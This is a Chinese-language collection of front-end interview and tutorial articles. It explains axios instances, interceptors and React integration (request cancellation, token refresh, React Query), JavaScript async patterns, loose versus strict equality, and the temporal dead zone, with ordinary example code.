fetch 该怎么选新项目中如果只需要基本的请求功能,fetch API 已经足够,浏览器原生支持无需安装依赖。但如果需要拦截器、自动 JSON 转换、请求取消、超时控制、XSRF 防护等开箱即用的能力,axios 仍然是更高效的选择。axios 1.6+ 的 Fetch 适配器让两者可以共存,在 fetch 基础上获得 axios 的上层能力。
服务端阅读 05月28日 01:47

axios 实例如何创建和配置?axios.create() 的使用方法与核心原理

axios.create() 是 axios 提供的工厂方法,用于创建一个拥有独立配置的 axios 实例。与直接使用全局 axios 对象不同,实例之间互不影响,适合在项目中对接多个服务或需要不同默认配置的场景。核心答案axios.create() 接收一个配置对象,返回一个新的 axios 实例,该实例拥有与全局 axios 相同的请求方法,但配置彼此隔离:const instance = axios.create({ baseURL: 'https://api.example.com', timeout: 10000, headers: { 'X-Custom-Header': 'foobar' }});instance.get('/users'); // 实际请求 https://api.example.com/users面试关键点: axios.create() 创建的实例与全局 axios 共享原型方法,但拥有独立的 defaults、interceptors,互不干扰。源码中 create 调用了 createInstance,通过 bind 绑定新上下文并拷贝拦截器链。追问:axios.create() 和直接修改 axios.defaults 有什么区别?修改 axios.defaults 影响全局所有请求,而 axios.create() 创建的实例配置独立,适合多服务、多环境场景。实际项目中推荐使用实例而非修改全局默认值。配置选项分类基础配置最常用的配置项集中在请求地址、超时和请求头:const instance = axios.create({ baseURL: 'https://api.example.com/v1', // 请求 URL 前缀 timeout: 10000, // 超时时间(毫秒) headers: { // 自定义请求头 'Content-Type': 'application/json', 'Accept': 'application/json' }, method: 'get', // 默认请求方法 params: { page: 1 }, // URL 查询参数 data: { name: 'test' } // 请求体数据});进阶配置实际项目中常涉及跨域凭证、响应类型和安全相关配置:const instance = axios.create({ withCredentials: true, // 跨域请求携带 cookie responseType: 'json', // 响应数据类型:json/blob/stream 等 responseEncoding: 'utf8', // 响应编码 xsrfCookieName: 'XSRF-TOKEN', // XSRF 防护 cookie 名 xsrfHeaderName: 'X-XSRF-TOKEN', // XSRF 防护 header 名 maxRedirects: 5, // 最大重定向次数 maxContentLength: 2000, // 响应体最大长度 onUploadProgress: (e) => {}, // 上传进度回调 onDownloadProgress: (e) => {} // 下载进度回调});配置优先级这是面试高频考点。配置合并遵循四个层级,后者覆盖前者:库默认值 — axios 内置的默认配置axios.create() 传入的配置 — 创建实例时指定实例的 defaults 属性 — 创建后通过 instance.defaults 修改请求时传入的配置 — 单次请求的 config 参数// 层级 1:库默认 timeout = 0// 层级 2:创建时 timeout = 5000const instance = axios.create({ timeout: 5000 });// 层级 3:defaults 修改 timeout = 10000instance.defaults.timeout = 10000;// 层级 4:请求时覆盖 timeout = 20000 ← 最终生效instance.get('/data', { timeout: 20000 });追问:headers 的合并策略和 timeout 一样吗?不一样。timeout 等简单值直接覆盖,而 headers 采用深度合并策略——headers.common、headers[method] 会按层级递归合并,而非整体替换。理解这一点才能避免配置被意外覆盖。实战场景多后端服务中大型项目通常对接多个微服务,各自拥有不同的 baseURL 和超时要求:const userService = axios.create({ baseURL: 'https://api.user-service.com', timeout: 5000});const orderService = axios.create({ baseURL: 'https://api.order-service.com', timeout: 10000});// 各实例独立使用,互不干扰userService.get('/users/1');orderService.get('/orders/123');认证 API 与公开 API 分离需要对不同接口设置不同的拦截逻辑时,实例隔离尤为重要:// 需要认证的实例const authApi = axios.create({ baseURL: 'https://api.example.com', timeout: 10000});authApi.interceptors.request.use(config => { const token = localStorage.getItem('token'); if (token) config.headers.Authorization = `Bearer ${token}`; return config;});// 公开接口实例——无需 tokenconst publicApi = axios.create({ baseURL: 'https://api.example.com', timeout: 5000});完整封装方案结合实例创建、拦截器和错误处理,形成项目级的请求封装:import axios from 'axios';const api = axios.create({ baseURL: import.meta.env.VITE_API_URL || 'http://localhost:3000', timeout: 10000, headers: { 'Content-Type': 'application/json' }});// 请求拦截:注入 tokenapi.interceptors.request.use(config => { const token = localStorage.getItem('token'); if (token) config.headers.Authorization = `Bearer ${token}`; return config;});// 响应拦截:统一错误处理api.interceptors.response.use( response => response.data, error => { if (error.response?.status === 401) { localStorage.removeItem('token'); window.location.href = '/login'; } return Promise.reject(error); });export default api;常见问题实例能访问全局 axios 的拦截器吗? 不能。每个实例拥有独立的 interceptors 对象,创建实例时拦截器链从空开始,需要单独添加。axios.create() 返回的是什么? 返回一个包装了 Axios 实例的函数,该函数绑定了当前上下文,同时挂载了 get、post 等快捷方法和 defaults、interceptors 属性。源码中通过 extend 将 Axios.prototype 上的方法拷贝到实例函数上。实例方法有哪些? request、get、delete、head、options、post、put、patch、getUri,用法与全局 axios 一致。
服务端阅读 05月28日 01:41

在 React 项目中如何正确使用 axios?

在 React 项目中使用 axios,核心挑战不在于发送请求本身,而在于如何让请求逻辑与 React 的组件生命周期、状态管理、性能优化正确配合。许多开发者会写 axios 调用,却在内存泄漏、竞态条件、重复请求等问题上频频踩坑。一、为什么 React 项目需要封装 axios直接在每个组件中 import axios from 'axios' 然后调用,看似简单,但会带来三个问题: baseURL 和超时配置散落各处、token 刷新逻辑无法统一处理、错误处理方式不一致。创建统一的请求实例// services/request.jsimport axios from 'axios';const request = axios.create({ baseURL: import.meta.env.VITE_API_BASE_URL, timeout: 15000, headers: { 'Content-Type': 'application/json' },});// 请求拦截器:注入 tokenrequest.interceptors.request.use((config) => { const token = localStorage.getItem('access_token'); if (token) { config.headers.Authorization = `Bearer ${token}`; } return config;});// 响应拦截器:统一错误处理 + token 过期刷新let isRefreshing = false;let pendingRequests = [];request.interceptors.response.use( (response) => response.data, async (error) => { const originalRequest = error.config; if (error.response?.status === 401 && !originalRequest._retry) { if (isRefreshing) { return new Promise((resolve) => { pendingRequests.push((token) => { originalRequest.headers.Authorization = `Bearer ${token}`; resolve(request(originalRequest)); }); }); } originalRequest._retry = true; isRefreshing = true; try { const { data } = await axios.post('/auth/refresh', { refresh_token: localStorage.getItem('refresh_token'), }); localStorage.setItem('access_token', data.access_token); pendingRequests.forEach((cb) => cb(data.access_token)); pendingRequests = []; return request(originalRequest); } catch { localStorage.clear(); window.location.href = '/login'; return Promise.reject(error); } finally { isRefreshing = false; } } return Promise.reject(error); });export default request;这个封装解决了一个容易被忽略的问题:当多个请求同时返回 401 时,只触发一次 token 刷新,其余请求排队等待新 token 后自动重试。按业务模块拆分 API 函数// services/user.jsimport request from './request';export const userApi = { getProfile: () => request.get('/user/profile'), updateProfile: (data) => request.put('/user/profile', data),};// services/post.jsexport const postApi = { getList: (params) => request.get('/posts', { params }), getDetail: (id) => request.get(`/posts/${id}`), create: (data) => request.post('/posts', data),};将 API 函数与组件解耦,后续接口变更只需改一处。测试时也可以直接 mock 整个模块。二、在组件中正确使用 axios必须处理请求取消React 组件卸载后,仍在进行中的异步请求如果试图更新状态,会触发内存泄漏警告。这是 axios 在 React 中最常见的坑。import { useEffect, useState } from 'react';import { userApi } from '@/services/user';function UserProfile({ userId }) { const [user, setUser] = useState(null); const [loading, setLoading] = useState(true); const [error, setError] = useState(null); useEffect(() => { const controller = new AbortController(); (async () => { try { setLoading(true); const data = await userApi.getProfile({ signal: controller.signal, }); setUser(data); } catch (err) { if (err.name !== 'CanceledError') { setError(err.message); } } finally { setLoading(false); } })(); return () => controller.abort(); }, [userId]); // ...渲染逻辑}关键点:AbortController 的 signal 传给 axios 的请求配置,组件卸载时调用 controller.abort(),axios 会以 CanceledError 拒绝 Promise。在 catch 中通过 err.name 过滤掉取消错误,避免污染错误状态。竞态条件:快速切换时的数据错乱当用户快速切换 tab 或搜索关键词时,多个请求可能乱序返回,导致页面显示的是旧数据而非最新请求的结果。// 错误写法:快速切换 userId 时可能显示旧数据useEffect(() => { userApi.getProfile(userId).then(setUser);}, [userId]);// 正确写法:每次新请求自动取消上一次useEffect(() => { const controller = new AbortController(); userApi.getProfile(userId, { signal: controller.signal }) .then(setUser) .catch((err) => { if (err.name !== 'CanceledError') setError(err); }); return () => controller.abort();}, [userId]);同一个 AbortController 同时解决了内存泄漏和竞态两个问题。三、用自定义 Hook 收敛请求逻辑每个组件都写一遍 loading/error 状态和 AbortController,代码重复且容易遗漏。封装成自定义 Hook 后,组件只需关注业务逻辑。// hooks/useRequest.jsimport { useState, useEffect, useCallback, useRef } from 'react';export function useRequest(apiFn, { immediate = true, deps = [] } = {}) { const [data, setData] = useState(null); const [loading, setLoading] = useState(immediate); const [error, setError] = useState(null); const controllerRef = useRef(null); const execute = useCallback(async (...args) => { controllerRef.current?.abort(); const controller = new AbortController(); controllerRef.current = controller; try { setLoading(true); setError(null); const result = await apiFn(...args, { signal: controller.signal }); setData(result); return result; } catch (err) { if (err.name !== 'CanceledError') { setError(err); throw err; } } finally { setLoading(false); } }, [apiFn]); useEffect(() => { if (immediate) execute(); return () => controllerRef.current?.abort(); }, [immediate, execute, ...deps]); return { data, loading, error, execute };}这个 Hook 的设计要点:用 useRef 保存最新的 controller 引用,execute 每次调用先取消上一次请求,天然防竞态;immediate 控制是否自动执行;deps 支持依赖变化时重新请求。四、四个常见坑点坑点 1:表单重复提交用户连续点击提交按钮,会发出多个相同的 POST 请求。const [submitting, setSubmitting] = useState(false);const handleSubmit = async (values) => { if (submitting) return; setSubmitting(true); try { await postApi.create(values); } finally { setSubmitting(false); }};// JSX 中<Button loading={submitting} onClick={() => handleSubmit(formValues)}> 提交</Button>更彻底的方案是用 axios 的 CancelToken 或 AbortController 取消上一次提交,但大多数场景下 loading 锁定已足够。坑点 2:POST 请求参数序列化axios 默认将对象序列化为 JSON,但某些后端接口要求 application/x-www-form-urlencoded 格式。直接传对象会导致后端解析失败。// 错误:后端收不到参数axios.post('/api/login', { username: 'admin', password: '123' });// 正确:使用 URLSearchParams 或 qs 库axios.post('/api/login', new URLSearchParams({ username: 'admin', password: '123' }));// 或使用 qsimport qs from 'qs';axios.post('/api/login', qs.stringify({ username: 'admin', password: '123' }));坑点 3:文件上传进度丢失上传大文件时用户需要看到进度,但很多人不知道 axios 支持 onUploadProgress。const [progress, setProgress] = useState(0);const handleUpload = async (file) => { const formData = new FormData(); formData.append('file', file); await request.post('/upload', formData, { headers: { 'Content-Type': 'multipart/form-data' }, onUploadProgress: (e) => { setProgress(Math.round((e.loaded * 100) / e.total)); }, });};坑点 4:错误处理不区分业务错误和网络错误// 统一错误处理策略request.interceptors.response.use( (response) => { const { code, data, message } = response.data; if (code !== 0) { // 业务错误:弹提示,不抛异常 showToast(message); return Promise.reject(new Error(message)); } return data; }, (error) => { // 网络错误 / 服务器错误 if (!error.response) { showToast('网络异常,请检查网络连接'); } else if (error.response.status >= 500) { showToast('服务器繁忙,请稍后重试'); } return Promise.reject(error); });业务错误(如"余额不足")和网络错误(如断网、500)应该用不同策略处理:前者通常只需提示用户,后者可能需要重试或降级。五、React Query + axios:生产级方案手动管理请求状态、缓存、重试、乐观更新,代码量会急剧膨胀。React Query 把这些能力内置了,只需要提供 axios 请求函数即可。import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';import { postApi } from '@/services/post';// 查询:自动缓存 + 后台刷新 + 请求去重function usePostList(params) { return useQuery({ queryKey: ['posts', params], queryFn: () => postApi.getList(params), staleTime: 5 * 60 * 1000, });}// 变更:自动失效缓存function useCreatePost() { const queryClient = useQueryClient(); return useMutation({ mutationFn: postApi.create, onSuccess: () => { queryClient.invalidateQueries({ queryKey: ['posts'] }); }, });}React Query 配合 axios 的核心优势:多个组件请求同一接口时只发一次请求(请求去重);窗口重新获得焦点时自动后台刷新数据;mutation 成功后自动让相关缓存失效,无需手动刷新。TypeScript 类型安全在 TypeScript 项目中,给 axios 请求加上类型约束,能在编译期捕获参数和返回值类型错误。// types/api.tsinterface UserProfile { id: number; name: string; email: string;}interface ApiResponse<T> { code: number; data: T; message: string;}// services/user.tsexport const userApi = { getProfile: () => request.get<ApiResponse<UserProfile>>('/user/profile'),};组件中 useQuery 配合类型推导,data 自动获得 UserProfile 类型,不再需要手动断言。面试中回答 axios 相关问题时,先讲封装思路(实例、拦截器、模块拆分),再讲 React 集成要点(AbortController 防内存泄漏和竞态),最后提 React Query 的缓存和重试机制,这条线能把问题讲透。
前端阅读 185月27日 01:17

JavaScript 异步解决方案的发展历程及优缺点

JS 异步方案演进:Callback(回调):异步操作完成时调用。缺点:回调地狱(嵌套超过 3 层就难读)、错误处理分散、流程控制难(并行/串行需要自己写计数器)Promise(ES6):链式调用可读性提升,.catch() 统一错误处理,Promise.all/race 等内置并行控制。缺点:长链仍不好读,一旦进入 .then() 链中间没法跳出(无法取消)Generator + co(ES6):yield 暂停执行,配合自动执行器实现"看起来同步"的代码。缺点:需要额外库(co),需要理解 Generator 概念,心智负担高async/await(ES8):Promise + Generator 的语法精华。写法像同步,错误处理用 try-catch,分支和循环直接写。缺点:滥用串行 await 破坏并发性能(两个无关请求应放 Promise.all)追问什么时候不推荐用 async/await?简单场景(单次 .then().catch() 比 async 包装更简洁)需要并发时(多个 await 写在一起是串行的)顶层模块代码中(ES6 模块顶层已有 await,但 CJS 不支持)数组方法中(.map(async fn) 返回 Promise 数组,需要再 Promise.all)Promise 可以取消吗?原生 Promise 不支持取消。但有 AbortController 变通方案:fetch 传入 signal,abort 时 fetch 抛 AbortError,.then() 不会执行。真正意义的 Promise 取消需要第三方库(如 bluebird)或用 RxJS 的 Subscription。
前端阅读 485月27日 01:17

== 和 === 的区别是什么?什么情况下用 == 相等?

=== 是严格相等:类型不同直接 false,类型相同才比较值。== 是宽松相等:类型不同时做类型转换(强制类型转换),然后再比较。大多数场景用 ===。但 == 也有实际用途:if (x == null) —— 等价于 x === null || x === undefined,很简洁你明确知道两端类型相同时(和 === 没区别)处理字符串和数字比较时('5' == 5 是 true),比如从 input 里读出来的值// == 的经典坑'' == 0; // true[] == 0; // true[] == ''; // true[] == ![]; // true (?!)null == undefined; // trueNaN == NaN; // false (即使 === 也是 false)追问Object.is 和 === 有什么区别?两个不同:Object.is(NaN, NaN) 是 true(=== 是 false),Object.is(0, -0) 是 false(=== 是 true)。其他行为和 === 完全一致。if (x == null) 比 if (x === null || x === undefined) 有什么风险吗?几乎没有。== null 只在值为 null 或 undefined 时为 true,对 0、''、false 都是 false。这是 == 唯一一个业界认可的"干净"用法。
前端阅读 255月27日 01:17

JavaScript 的暂时性死区是什么?

暂时性死区(TDZ)是 let 和 const 的特性:从块级作用域开始到变量被声明为止,这个区间内访问变量会抛 ReferenceError。console.log(x); // undefined — var 提升但不报错var x = 1;console.log(y); // ReferenceError — let 有 TDZlet y = 2;let/const 确实有变量提升(引擎知道这个变量存在于作用域中),但在声明语句之前,这个绑定处于"未初始化"状态——这就是 TDZ。var 提升后直接被初始化为 undefined,所以能用。TDZ 的意义:帮你发现"在声明前就使用变量"的错误——这种 bug 用 var 时会被悄悄忽略。追问typeof 在 TDZ 中也会报错吗?会。typeof x 在 x 的 TDZ 中直接 ReferenceError。这是 typeof 唯一不安全的场景——通常 typeof 未声明变量 返回 "undefined" 不会报错,但 TDZ 是"已声明但未初始化",typeof 也会报错。TDZ 对函数参数的默认值有影响吗?有。参数默认值中引用的后面的参数,会遇到 TDZ:function fn(a = b, b = 1) {} // a 的默认值引用 b 时,b 还在 TDZ 中fn(); // ReferenceError